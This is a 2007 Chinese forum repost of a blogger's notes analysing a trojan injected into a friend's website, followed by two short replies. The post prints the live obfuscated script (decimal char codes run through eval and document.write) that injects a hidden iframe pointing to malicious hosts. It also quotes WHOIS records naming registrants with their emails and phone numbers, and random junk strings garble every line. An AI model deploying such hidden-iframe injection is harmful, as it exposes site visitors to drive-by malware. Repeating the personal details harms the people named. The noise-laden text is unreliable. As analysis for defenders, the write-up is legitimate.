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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, g`zC0~D2  
x\XOtjJr  
http://www.areway.cn/?p=175 0f|nI8,z  
,n+~S^r  
E@$HO_;&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: B6a   
          lw 9 rf4RF  
<script>t=’60,105,102,114,97,109,101, cY\"{o"C  
32,115,114,99,61,104,116,116,112,58,47,47, n<>/X_m  
102,114,101,101,46,117,45,117,117,117,46,99, AVv 8Hhd  
110,47,101,114,114,111,114,46,104,116,109, 0Fm,F&12  
32,119,105,100,116,104,61,49,48,48,32,104, 3P2L phW  
101,105,103,104,116,61,48,62,60,47,105,102, g JMv  
114,97,109,101,62′; VYN1^Tp  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> e$@azi1  
                                                                                                  t12 xPtN1  
<script>t=’60,105,102,114,97,109,101,32,115, o.H(&ex|  
114,99,61,104,116,116,112,58,47,47,102,114, oT27BK26?h  
101,101,46,117,45,117,117,117,46,99,110,47, p=U5qM.O  
101,114,114,111,114,46,104,116,109,32,119, :Qra9; Y  
105,100,116,104,61,49,48,48,32,104,101,105, `]:&h'  
103,104,116,61,48,62,60,47,105,102,114,97, vErlh:~e  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); E; Z1HF R  
document.write(t);</script> ['n;e:*  
                                                                                                  $3MYr5  
<html xmlns=” 4 U`5=BI  
http://www.w3.org/1999/xhtml 0?nm`9v6  
“> ,=kQJ|  
<head> Kzd)Z fnD0  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Fs EPM"&?h  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> A `n:q;my  
<title>首页 - 爱生活家庭网 kUG3_ *1 .  
                                                                                                                                                    14v,z;HXj  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。  =:-x;  
转换字符串后的大概内容是(谁点击后果自付): (*2kM|  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… {$mj9?n=v  
                                                                                                                                  GT"gB$Mh  
查询玉米u-uuu.cn的详细信息: 7 V+rQ  
Domain Name: u-uuu.cn ?]L:j  
ROID: 20070901s10001s64972306-cn \;s mH;m  
Domain Status: ok j;']L}R  
Registrant Organization: 王雷 oUwu:&<Orm  
Registrant Name: 王雷 0Bpix|mq  
Administrative Email: czlovexs@126.com 6+[7UH~pm^  
Sponsoring Registrar: 北京万网志成科技有限公司 f}>S"fFI  
Name Server:ns.yovole.com hd}"%9p  
Name Server:ns1.yovole.com OjiQBsgnj  
Registration Date: 2007-09-01 17:54 \!4sd2Yi  
Expiration Date: 2008-09-01 17:54 %v(\;&@  
最后PING了一下地址 都没有什么…. (7g1eEK%  
                                                                                                c);(+b  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. aBLE:v  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> qrmJJSJ  
<script language=”javascript” src=” b 64~Y|8  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script l1qWl   
> a_0G4@=T  
这个玉米应该有可能是木马作者的: Wg+fT{[f|  
foafau.info的详细信息: a~F` {(Q2  
Access to INFO WHOIS information is provided to assist persons in t~0}Emgp<(  
determining the contents of a domain name registration record in the jreY'y:  
Afilias registry database. The data in this record is provided by e/<Og\}P/  
Afilias Limited for informational purposes only, and Afilias does not ~^Y(f'{  
guarantee its accuracy.  This service is intended only for query-based {s=$.Kg  
access. You agree that you will use this data only for lawful purposes $fE$j {  
and that, under no circumstances will you use this data to: (a) allow, A,T3%TE  
enable, or otherwise support the transmission by e-mail, telephone, or Sgt@G=_o  
facsimile of mass unsolicited, commercial advertising or solicitations .{1MM8 Q  
to entities other than the data recipient’s own existing customers; or PiRbdl  
(b) enable high volume, automated, electronic processes that send f`j RLo*L  
queries or data to the systems of Registry Operator, a Registrar, or Nz&J&\X)tD  
Afilias except as reasonably necessary to register domain names or yU(k;A-  
modify existing registrations. All rights reserved. Afilias reserves YrR}55V,  
the right to modify these terms at any time. By submitting this query, Uv06f+P(  
you agree to abide by this policy. @edi6b1W  
Domain ID:D22418703-LRMS :h&*<!O2B`  
Domain Name:FOAFAU.INFO {]}}rx'|P  
Created On:20-Nov-2007 16:05:42 UTC l%^'K%'b  
Last Updated On:20-Nov-2007 16:05:44 UTC c!BiGw,;  
Expiration Date:20-Nov-2008 16:05:42 UTC /L1qdkG  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) .hCOi<wB  
Status:CLIENT DELETE PROHIBITED v?\bvg\E  
Status:CLIENT RENEW PROHIBITED @Ooh}V#J  
Status:CLIENT TRANSFER PROHIBITED &zF1&J58z  
Status:CLIENT UPDATE PROHIBITED 7 C5m#e3  
Status:TRANSFER PROHIBITED ~pqp`  
Registrant ID:GODA-040110615 PQ2u R  
Registrant Name:liu hong *HwTq[y  
Registrant Organization: IdlW[h3`[  
Registrant Street1:beijing l#,WMu&  
Registrant Street2: v |XEC[F  
Registrant Street3: #isBE}sT{  
Registrant City:beijing * SG0-_S  
Registrant State/Province: 7ST[XLwt%}  
Registrant Postal Code:100000 TCSm#?[B  
Registrant Country:CN m(Cn'@i`"0  
Registrant Phone:+86.860108888777 $ #C$V>  
Registrant Phone Ext.: ) tGC&l+?/  
Registrant FAX: o(. PxcD  
Registrant FAX Ext.: JeJc(e  
Registrant Email:bbbshiji@163.com 7K`A2  
Admin ID:GODA-240110615 L44-: 3  
Admin Name:liu hong a<[@p  
Admin Organization: 1@H3!V4  
Admin Street1:beijing _AQ :<0/#  
Admin Street2: :CN,I!:  
Admin Street3: hIw<gb4J%  
Admin City:beijing qPpC)6-Q  
Admin State/Province: j0k"iv  
Admin Postal Code:100000 >Z?3dM~[  
Admin Country:CN AO9F.A<T5  
Admin Phone:+86.860108888777 X.,1SYG[  
Admin Phone Ext.: L!-@dz  
Admin FAX: 4b8!LzKS  
Admin FAX Ext.: ,2)LH 'Xx  
Admin Email:bbbshiji@163.com EM*YN=So  
Billing ID:GODA-340110615 Ftm%@S?  
Billing Name:liu hong YXJjqH3  
Billing Organization: ' hL\xf{  
Billing Street1:beijing Z8Fbx+~"  
Billing Street2: ] w FFGy  
Billing Street3: CCX\"-C  
Billing City:beijing un[Z$moN"  
Billing State/Province: :JSOj@s  
Billing Postal Code:100000 _EOQ*K#=Ct  
Billing Country:CN D:llGdU#2  
Billing Phone:+86.860108888777 4.7ePbk[E  
Billing Phone Ext.: NrTQ}_3)  
Billing FAX: gydPy*  
Billing FAX Ext.: 8 @!/%"Kt2  
Billing Email:bbbshiji@163.com jd=k[Yqr  
Tech ID:GODA-140110615 R{3f5**0  
Tech Name:liu hong `7Ni bZX0  
Tech Organization: 1P4jdp=~  
Tech Street1:beijing jjkiic+tDN  
Tech Street2: g^1M]1.f  
Tech Street3: q[l},nw  
Tech City:beijing k:<yy^g$X  
Tech State/Province: {y'c*NS  
Tech Postal Code:100000 j%b/1@I  
Tech Country:CN \<~[uv'  
Tech Phone:+86.860108888777 Rw*l#cr=.  
Tech Phone Ext.: iU{F\>  
Tech FAX: ~d 7!)c`z  
Tech FAX Ext.: !tFs(![  
Tech Email:bbbshiji@163.com C2,,+* v  
Name Server:NS27.DOMAINCONTROL.COM _5.^A&Y*  
Name Server:NS28.DOMAINCONTROL.COM :=^JHE{  
Name Server: IR|AlIv  
Name Server: 1,Uv;s;{  
Name Server: I* \o  
Name Server: N/Z3 EF_  
Name Server: {Os$Uui37\  
Name Server: 9~<HTH  
Name Server: t&wtw  
Name Server: sn/^#Aa=N  
Name Server: Ta%{Wa\U9z  
Name Server: R|ViLty  
Name Server: #5N#^#r"  
                                                                                                          !Z,h5u\.w  
接着下载每个文件里面的代码: ' V;cA$ $  
一步一步看.. q/?#+d  
\QstcsEt  
U/m6% )Yx(  
6YQ&+4   
^/2n[orl5  
fEWS3`Yy  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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